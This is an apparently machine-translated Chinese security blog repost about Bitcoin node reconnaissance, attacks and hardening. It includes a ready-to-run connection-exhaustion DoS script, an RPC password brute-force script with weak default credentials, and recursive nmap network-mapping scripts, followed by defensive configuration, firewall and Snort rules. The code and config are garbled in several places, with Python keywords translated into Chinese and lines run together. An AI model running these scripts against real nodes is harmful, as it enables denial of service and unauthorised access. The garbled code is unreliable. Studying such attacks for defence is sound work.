文章总结: 该文档深入解析比特币网络的技术细节,重点介绍节点类型(完整/修剪/SPV/挖矿节点)、四种网络(主网/测试网/Signet/Regtest)及其对应端口(8333/18333/38333/18444)。详细说明比特币P2P协议的二进制消息结构、握手流程及常见消息类型,并提供实用侦察方法包括Nmap端口扫描脚本、Python协议交互代码示例和Shodan查询技巧,帮助安全人员直接与比特币网络进行底层交互。 综合评分: 78 文章分类: 区块链安全,网络侦察,技术标准,安全工具,解决方案
区块链分析
查询节点区块链信息:
# 如果 RPC 可访问(通常端口为 8332)
#注意:需要身份验证
# 获取区块链信息
bitcoin-cli -rpcconnect=<目标 IP> getblockchaininfo
# 获取节点信息
bitcoin- cli -rpcconnect=<目标IP> getpeerinfo #
获取网络信息
bitcoin-cli -rpcconnect=<目标 IP> getnetworkinfo
# 获取区块计数
bitcoin-cli -rpcconnect=<目标 IP> getblockcount
没有 RPC 访问权限:
信息仅限于P2P协议所揭示的内容:
- 最后一个区块高度(来自版本消息)
- 协议版本
- 广告宣传的服务
- 对等地址
攻击向量
1. 信息披露
版本披露:
# 版本信息显示:
# - 协议版本
# - 软件版本(通过用户代理)
# - 支持的服务
# - 当前区块高度
# - 对等节点数量
# 风险:有助于识别易受攻击的版本
同行地址披露:
# Getaddr 命令揭示:
# - 已知对等 IP 地址
# - 网络拓扑结构
# - IPv6 地址
# - 时间戳
# 风险:网络映射、定向攻击
楼体高度披露:
# 显示内容:
# - 同步状态
# - 节点正常运行时间预估
# - 网络参与级别
# 风险:识别过时的节点
2.拒绝服务攻击(DoS)
连接耗尽:
#!/usr/bin/env python3
"""
通过连接耗尽进行拒绝服务攻击
打开多个连接以耗尽节点的对等节点槽位
"""
import socket
import threading
def connect_to_node ( host, port ):
try :
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, port))
# 保持连接打开
while True :
pass
except :
pass
# 打开多个连接
target_host = "target-ip"
target_port = 8333
max_connections = 125 # Bitcoin Core 默认最大值为 125
for i in range (max_connections):
thread = threading.Thread(target=connect_to_node,
args=(target_host, target_port))
thread.daemon = True
thread.start()
# 合法对等节点无法连接
资源耗尽 – 内存:
#!/usr/bin/env python3
"""
发送大量消息以耗尽节点内存
"""
# 发送大量 'inv'(库存)消息
# 每个 inv 可以包含多个交易哈希
# 节点将待处理的库存存储在内存中
# 注意:现代比特币核心具有保护机制
资源耗尽 – 磁盘:
#!/usr/bin/env python3
"""
向节点发送大量交易以填充内存池
"""
# 发送大量未确认的交易
# 填充内存池(待处理交易的内存池)
# 可能导致性能下降
# 注意:交易费用和内存池限制提供保护
协议级拒绝服务攻击:
#!/usr/bin/env python3
"""
发送格式错误的消息以触发崩溃
"""
# 模糊测试方法
# 发送无效协议消息
# 查找崩溃或挂起
# 历史示例:CVE-2012-2459(块验证拒绝服务攻击)
3. 日蚀攻击
概念:将节点从诚实网络中隔离出来
攻击步骤:
1.攻击者控制多个 IP 地址;
2.将攻击者节点填充到受害者的对等节点列表中;
3.受害者只能连接到攻击者节点;
4.攻击者控制受害者对区块链的访问。
实施难度:
- 需要多个 IP 地址
- Bitcoin Core 具备 Eclipse 攻击缓解措施
- 需要长期持续的努力
Bitcoin Core 中的缓解措施:
- 多元化的同伴选择
- 锚固连接
- 地址管理多样性
- 触觉连接
4. 交易/区块中继操纵
自私的采矿:
- 保留已开采的区块
- 策略性发布
- 获得不公平的采矿优势
交易审查:
- 如果控制对等连接
- 可以筛选特定交易
- 防止受害者看到他们
双倍消费接力赛:
- 发送冲突交易
- 一人成为受害者,一人成为网络受害者
- 利用零确认接受
5. 隐私攻击
地址聚类:
#!/usr/bin/env python3
"""
将交易与 IP 地址关联
通过监控哪个节点首次转发交易,
有时可以推断出发送者的 IP 地址
"""
# 连接到多个节点
# 记录每笔交易的首次转发
# 与交易模式关联
交易来源追踪:
# 监控网络以识别交易来源
# 第一个广播该交易的节点很可能是创建者
# 可以将 IP 地址与比特币地址关联起来
# 缓解措施:使用 Tor 进行比特币连接
网络拓扑映射:
# 构建完整的网络拓扑图
# 识别关键节点
# 规划定向攻击
# 递归使用 getaddr 函数
# 构建连接图
已知漏洞和 CVE
历史漏洞
CVE-2012-2459 – 块验证拒绝服务攻击
- 受影响版本:比特币核心版本 < 0.6.1
- 影响:通过精心构造的方块进行远程拒绝服务攻击
- 已修复:代码块验证改进
CVE-2013-2292 – 远程崩溃
- 受影响版本:比特币核心版本 < 0.8.1
- 影响:格式错误的消息导致节点崩溃
- 已修复:输入验证
CVE-2013-2293 – 资源耗尽
- 受影响版本:比特币核心版本 < 0.8.1
- 影响:孤立事务导致内存耗尽
- 已修复:孤立交易限额
CVE-2015-3641 – 通过内存耗尽实现拒绝服务攻击
- 受影响版本:比特币核心版本 < 0.10.1
- 影响:远程拒绝服务攻击
- 已修复:内存管理改进
CVE-2017-18350 – 缓冲区溢出
- 受影响版本:比特币核心版本 < 0.15.1
- 影响:远程代码执行潜力
- 已修复:缓冲区处理修复
CVE-2018-17144 – 通货膨胀漏洞
- 受影响版本:比特币核心 0.14.x – 0.16.2
- 影响:可能凭空创造出比特币
- 严重程度:极严重(从未在主网上被利用)
- 已修复:版本 0.16.3
CVE-2021-31876 – 通过格式错误的消息发起拒绝服务攻击
- 受影响:多种实现方式
- 影响:节点崩溃
- 已修复:消息验证
现代攻击面
当前关注点(2024):
- 日食攻击——仍属理论上的威胁
- 隐私问题– IP 地址关联
- 资源枯竭——始终令人担忧
- 零日漏洞——未知漏洞
- 实现错误– 非核心客户端
最佳实践:
- 保持 Bitcoin Core 更新
- 使用最新稳定版本
- 关注安全公告
- 考虑使用 Tor 来保护隐私
比特币 RPC 安全(端口 8332)
RPC接口概述
注意: RPC 不受 P2P 端口的保护,但至关重要。
默认配置:
端口:8332 (主网)
端口:18332 (测试网)
端口:38332 (Signet)
端口:18443 (Regtest)
协议:基于HTTP 的JSON-RPC认证:用户名/密码或cookie文件
RPC枚举
检查 RPC 是否可访问:
# 尝试连接到 RPC 端口
curl http://<目标 IP>:8332
# 如果可访问,则响应如下:
# HTTP 401 未授权(需要身份验证)
# 如果未公开,则连接被拒绝
# 使用凭据尝试
curl --user username:password \
--data-binary '{ "jsonrpc" : "1.0" , "id" : "test" , "method" : "getblockchaininfo" , "params" :[]}' \
-H 'content-type: text/plain;' \
http://<目标 IP>:8332
默认凭证(非常罕见):
# Bitcoin Core 没有默认凭据
# 但请检查常见的弱密码:
bitcoin:bitcoin
admin:admin
rpcuser:rpcpassword
暴力破解 RPC:
#!/usr/bin/env python3
import requests
import sys
def brute_force_rpc ( host, port, username, password_file ):
url = f"http:// {host} : {port} "
data = '{"jsonrpc":"1.0","id":"test","method":"getblockchaininfo","params":[]}'
headers = { 'content-type' : 'text/plain' }
with open (password_file, 'r' ) as f:
for password in f:
password = password.strip()
try :
r = requests.post(url,
auth=(username, password),
data=data,
headers=headers,
timeout= 5 )
if r.status_code == 200 :
print ( f"[+] SUCCESS: {username} : {password} " )
return password
else :
print ( f"[-] Failed: {username} : {password} " )
except Exception as e:
print ( f"[!] 错误: {e} " )
return None
# 用法:
# brute_force_rpc('target-ip', 8332, 'bitcoin', 'passwords.txt')
防御与强化
节点配置安全
bitcoin.conf 安全设置:
# 网络绑定# 仅绑定到本地主机(
如果不需要远程访问)bind =
127.0.0.1 #仅将受信任的节点列入白名单(可选)whitelist = 192.168.1.0/24 #限制连接数maxconnections = 40 # 禁用钱包(如果不需要) disablewallet = 1 #启用 Tor 以保护隐私proxy = 127.0.0.1:9050 listen = 1 externalip = your_onion_address.on ion # RPC 安全rpcallowip = 127.0.0.1 rpcauth = user:salt $hash # 使用以下命令生成:python3 share/rpcauth/rpcauth.py username #如果不需要,禁用ZMQ # zmqpubrawblock=tcp: //127.0.0.1 :28332 # zmqpubrawtx=tcp://127.0.0.1:28333
生成安全 RPC 凭证:
# 使用 Bitcoin Core 的 rpcauth.py
cd /path/to/bitcoin/share/rpcauth/
python3 rpcauth.py myusername
# 输出:
# 要添加到 bitcoin.conf 的字符串:
# rpcauth=myusername:hash$salt
# 您的密码:
# random_generated_password
# 添加到 bitcoin.conf
echo "rpcauth=myusername:hash $salt " >> ~/.bitcoin/bitcoin.conf
网络级保护
防火墙规则:
# UFW -默认阻止所有
比特币端口sudo ufw deny 8332 /tcp # RPC
sudo ufw deny 8333 /tcp # P2P 主网sudo
ufw deny 18333 /tcp # P2P 测试网
sudo ufw deny 18332 / tcp # RPC 测试网
# 仅允许来自受信任 IP 的流量sudo
ufw allow from 192.168.1.0/24 to any port 8333 # iptables sudo iptables -A INPUT -p tcp --dport 8333 -s 192.168 . 1.0 / 24 -j ACCEPT sudo iptables - A INPUT - p tcp --dport 8333 -j DROP sudo iptables - A INPUT - p tcp --dport 8332 -j DROP # 保存规则sudo iptables-save > /etc/iptables/rules .v4
速率限制:
# 限制连接速率
sudo iptables -A INPUT -p tcp --dport 8333 -m state --state NEW -m recent --setA INPUT - p tcp --dport 8333 -m state --state NEW -m recent --set
sudo iptables - A INPUT - p tcp --dport 8333 -m state --state NEW -m recent --update --seconds 60 --hitcount 10 -j DROP
隐私与匿名
使用 Tor:
# bitcoin.conf
proxy = 127.0.0.1 : 9050 listen = 1 bind = 127.0.0.1 onlynet = on ion #仅通过 Tor 连接#所有对等连接均已匿名化
使用 VPN:
# 在 VPN 后运行比特币节点
# 首先配置 VPN 连接
# 然后启动 Bitcoin Core
# 验证外部 IP 地址
curl ifconfig.me
# 应该显示 VPN IP 地址,而不是你的真实 IP 地址
Dandelion++协议:
# 有助于隐藏交易来源
# 已在 Bitcoin Core 23.0+ 中实现
# 默认启用
监测与检测
监控连接:
# 检查当前对等连接
bitcoin-cli getpeerinfo | jq .
# 监控连接尝试
sudo tcpdump -i eth0 port 8333 -nn
# 检查异常对等行为
watch -n 5 'bitcoin-cli getpeerinfo | jq ".[].addr"'
日志分析:
# 监控 Bitcoin Core 调试日志
tail -f ~ /.bitcoin/debug.log
# 查找:
# - 连接失败
# - 对等节点异常行为
# - 无效区块/交易#
- 资源警告
# 搜索可疑活动
grep -i "misbehaving" ~ /.bitcoin/debug.log grep
-i "banned " ~ /.bitcoin/debug.log
grep -i " invalid " ~ /.bitcoin/debug.log
入侵检测:
# 比特币端口扫描警报的 Snort 规则
alert tcp any any -> any 8333 ( flags : S; msg : "比特币端口扫描" ; sid : 1000001 ; )
# 异常连接量警报 alert
tcp any any -> any 8333 ( threshold : type both , track by_src , count 20 , seconds 60 ; msg : "比特币连接泛滥" ; sid : 1000002 ; )
常规安全措施
# 保持 Bitcoin Core 更新
bitcoin-cli --version
# 检查更新
# 从 bitcoin.org 下载
# 验证 GPG 签名
wget https://bitcoincore.org/bin/bitcoin-core-25.0/bitcoin-25.0-x86_64-linux-gnu.tar.gz
wget https://bitcoincore.org/bin/bitcoin-core-25.0/SHA256SUMS
wget https://bitcoincore.org/bin/bitcoin-core-25.0/SHA256SUMS.asc
# 验证
gpg --verify SHA256SUMS.asc
sha256sum --check SHA256SUMS --ignore-missing
# 备份钱包(如果使用)
bitcoin-cli backupwallet /secure/backup/location/wallet.dat
# 加密钱包
bitcoin-cli encryptwallet "strong_passphrase"
# 定期进行安全审计
bitcoin-cli getnetworkinfo
bitcoin-cli getpeerinfo
bitcoin-cli getnettotals
工具和脚本
必备工具
- Bitcoin Core – 官方全节点实现
- nmap – 使用比特币脚本进行端口扫描
- bitcoin-cli – 命令行界面
- Wireshark – 协议分析
- btcd – Go 的替代实现
自定义枚举脚本
#!/usr/bin/env python3
"""
比特币节点枚举工具
"""
import socket
import struct
import hashlib
import time
class BitcoinNode :
def __init__ ( self, host, port= 8333 , network= 'mainnet' ):
self.host = host
self.port = port
self.network = network
self.sock = None
# 不同网络的魔术字节
self.magic_bytes = {
'mainnet' : 0xD9B4BEF9 ,
'testnet' : 0x0B110907 ,
'signet' : 0x0A03CF40 ,
'regtest' : 0xFABFB5DA
}
def create_message ( self, command, payload ):
""" 创建比特币协议消息 """
magic = self.magic_bytes[self.network]
# 命令必须为 12 字节
cmd = command.encode( 'ascii' )
cmd = cmd + b'\x00' * ( 12 - len (cmd))
# 校验和
checksum = hashlib.sha256(hashlib.sha256(payload).digest()).digest()[: 4 ]
# 构建消息
message = struct.pack( '<I' , magic)
message += cmd
message += struct.pack( '<I' , len (payload))
message += checksum
message += payload
return message
def create_version_message ( self ):
"""创建版本握手消息"""
version = 70015
services = 1
timestamp = int (time.time())
payload = struct.pack( ' <i' , version) payload
+= struct.pack( '<Q' , services)
payload += struct.pack( '<q' , timestamp)
# 简化版 - 完整版本消息更复杂
# 需要添加接收/发送地址、nonce、用户代理、等等。
返回有效载荷
def connect ( self ):
"""连接到比特币节点"""
尝试:
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.settimeout( 10 )
self.sock.connect((self.host, self.port))
print ( f"[+] 已连接到{self.host} : {self.port} " )
return True
except Exception as e:
print ( f"[-] 连接失败: {e} " )
return False
def send_version ( self ):
"""发送版本消息"""
try :
version_payload = self.create_version_message()
version_msg = self.create_message( 'version' , version_payload)
self.sock.send(version_msg)
print ( "[*] 已发送版本消息" )
# 接收响应
response = self.sock.recv( 4096 )
print ( f"[+] 已接收{ len (response)}字节" )
return True
except Exception as e:
print ( f"[-] 错误: {e} " )
return False
def close ( self ):
"""关闭连接"""
if self.sock:
self.sock.close()
# 用法
if __name__ == "__main__" :
import sys
if len (sys.argv) < 2 :
print ( f"用法: {sys.argv[ 0 ]} <host> [port] [network]" )
sys.exit( 1 )
host = sys.argv[ 1 ]
port = int (sys.argv[ 2 ]) if len (sys.argv) > 2 else 8333
network = sys.argv[ 3 ] if len (sys.argv) > 3 else 'mainnet'
node = BitcoinNode(host, port, network)
if node.connect():
node.send_version()
node.close()
网络映射脚本
#!/bin/bash
# 比特币网络映射脚本
TARGET= $1
OUTPUT_DIR= "bitcoin_network_map"
if [ -z " $TARGET " ]; then
echo "用法:$0 <种子节点IP>"
exit 1
fi
mkdir -p $OUTPUT_DIR
echo "[*] 从种子节点开始网络映射:$TARGET "
# 第一级扫描
echo "[*] 正在扫描种子节点..."
sudo nmap -p 8333 --script bitcoin-info,bitcoin-getaddr $TARGET -oN $OUTPUT_DIR /seed_scan.txt
# 提取对等节点IP
echo "[*] 正在提取对等节点地址..."
grep -oP '\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}:\d+' $OUTPUT_DIR /seed_scan.txt | \
cut -d: -f1 | sort -u > $OUTPUT_DIR /peers_level1.txt
PEER_COUNT=$( wc -l < $OUTPUT_DIR /peers_level1.txt)
echo "[+] 找到$PEER_COUNT个对等节点"
# 扫描已发现的对等节点
echo "[*] 正在扫描已发现的对等节点..."
counter=1
while read peer; do
echo " [ $counter / $PEER_COUNT ] 正在扫描$peer "
sudo nmap -p 8333 --script bitcoin-info $peer -oN $OUTPUT_DIR /peer_ ${peer} .txt 2>/dev/null
((counter++))
done < $OUTPUT_DIR /peers_level1.txt
echo "[+] 网络映射完成!"
echo "[+] 结果已保存在$OUTPUT_DIR /"
速查表
快速参考
# 端口扫描
nmap -p 8333 -sV <目标>
nmap -p 8333,18333,38333,18444 -sV <目标>
# 比特币
信息 sudo nmap -p 8333 --script bitcoin-info <目标>
# 获取对等地址
sudo nmap -p 8333 --script bitcoin-getaddr <目标>
# 组合枚举
sudo nmap -p 8333 --script bitcoin-info,bitcoin-getaddr <目标>
# RPC 访问(如果已启用)
curl --user user:pass --data-binary '{ "jsonrpc" : "1.0" , "id" : "test" , "method" : "getblockchaininfo" , "params" :[]}' -H 'content-type: text/plain;' http://<target>:8332
# 使用比特币命令行界面
bitcoin-cli -rpcconnect=<target> getblockchaininfo
bitcoin-cli -rpcconnect=<target> getpeerinfo
bitcoin-cli -rpcconnect=<target> getnetworkinfo
重要港口
8333 -比特币主网P2P
18333 -比特币测试网P2P
38333 -比特币Signet P2P
18444 -比特币Regtest P2P
8332 -比特币主网RPC
18332 -比特币测试网RPC
通用用户代理
/Satoshi:25.0/ - Bitcoin Core 25.0
/Satoshi:24.0/ - Bitcoin Core 24.0
/btcd:0.24.0/ - btcd
/Bitcoin Knots:25.0/ - Bitcoin Knots
/bcoin:2.2.0/ - bcoin
协议魔字节
主网:0xF9BEB4D9
测试网:0x0B110907
签名网:0x0A03CF40
注册测试网:0xFABFB5DA
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:KK安全说 破天KK 破天KK《比特币不仅仅是一种加密货币(深入指南)》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。











评论